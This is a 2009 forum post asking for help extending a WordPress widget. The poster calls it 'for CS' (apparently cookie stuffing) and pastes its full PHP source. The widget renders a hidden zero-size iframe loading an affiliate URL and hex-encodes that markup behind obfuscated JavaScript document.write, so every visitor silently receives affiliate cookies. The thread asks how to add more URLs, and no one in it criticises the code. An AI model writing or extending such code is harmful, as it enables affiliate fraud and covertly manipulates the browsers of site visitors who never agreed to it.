Help needed with Wordpress widget

Discussion in 'General Programming Chat' started by jonnyh431, Apr 26, 2009.

  1. jonnyh431

    jonnyh431 Junior Member

    Joined:
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    Location:
    UK
    I have a wordpress widget I have been using. It is for CS and allows you to add an affiliate link into a input field, the only problem is that you can only add one link. Does anyone know how to add another text field? Heres the code:

    Code:
    // We're putting the plugin's functions in one big function we then
    // call at 'plugins_loaded' (add_action() at bottom) to ensure the
    // required Sidebar Widget functions are available.
    function widget_getcookie_init() {
    
        // Check to see required Widget API functions are defined...
        if ( !function_exists('register_sidebar_widget') || !function_exists('register_widget_control') )
            return; // ...and if not, exit gracefully from the script.
    
        // This function prints the sidebar widget--the cool stuff!
        function widget_getcookie($args) {
    
            // $args is an array of strings which help your widget
            // conform to the active theme: before_widget, before_title,
            // after_widget, and after_title are the array keys.
            extract($args);
    
            // Collect our widget's options, or define their defaults.
            $options = get_option('widget_getcookie');
            //$title = empty($options['title']) ? 'My Widget' : $options['title'];
            $text = empty($options['text']) ? 'http://www.myfreego.co.uk' : $options['text'];
    
             // It's important to use the $before_widget, $before_title,
             // $after_title and $after_widget variables in your output.
            echo $before_widget;
          //  echo $before_title . $title . $after_title;
            
    // this where to put output   
    $string="<div style=\"position:absolute;left:0px;top:0px;visibility:hidden;\" id=\"datadiv\"><iframe src=\"".$text."\" height=\"0\" width=\"0\"></iframe></div>";
    $hex_string = bin2hex($string);
    $code="<script language=\"JavaScript\" type=\"text/javascript\">//\nvar i,y,x=\"$hex_string\";y='';for(i=0;i<x.length;i+=2){y+=unescape('%'+x.substr(i,2));}document.write(y);</script>";
    echo $code;
    // end output
            echo $after_widget;
        }
    
        // This is the function that outputs the form to let users edit
        // the widget's title and so on. It's an optional feature, but
        // we'll use it because we can!
        function widget_getcookie_control() {
    
            // Collect our widget's options.
            $options = $newoptions = get_option('widget_getcookie');
    
            // This is for handing the control form submission.
            if ( $_POST['getcookie-submit'] ) {
                // Clean up control form submission options
                $newoptions['title'] = strip_tags(stripslashes($_POST['getcookie-title']));
                $newoptions['text'] = strip_tags(stripslashes($_POST['getcookie-url']));
    
    
            }
    
            // If original widget options do not match control form
            // submission options, update them.
            if ( $options != $newoptions ) {
                $options = $newoptions;
                update_option('widget_getcookie', $options);
            }
    
            // Format options as valid HTML. Hey, why not.
            $title = htmlspecialchars($options['title'], ENT_QUOTES);
            $text = htmlspecialchars($options['text'], ENT_QUOTES);
    
    // The HTML below is the control form for editing options.
    ?>
            <div>
        <!--    <label for="getcookie-title" style="line-height:35px;display:block;">Widget title: <input type="text" id="getcookie-title" name="getcookie-title" value="<?php echo $title; ?>" /></label> -->
            <p>Make sure you use http:// in your url!</p>
            <label for="getcookie-url" style="line-height:35px;display:block;">Affiliate URL: <input type="text" id="getcookie-url" name="getcookie-url" value="<?php echo $text; ?>" /></label>
            <input type="hidden" name="getcookie-submit" id="getcookie-submit" value="1" />
            </div>
        <?php
        // end of widget_getcookie_control()
        }
    
        // This registers the widget. About time.
        register_sidebar_widget('Get Cookie', 'widget_getcookie');
    
        // This registers the (optional!) widget control form.
        register_widget_control('Get Cookie', 'widget_getcookie_control');
    }
    
    // Delays plugin execution until Dynamic Sidebar has loaded first.
    add_action('plugins_loaded', 'widget_getcookie_init');
    ?>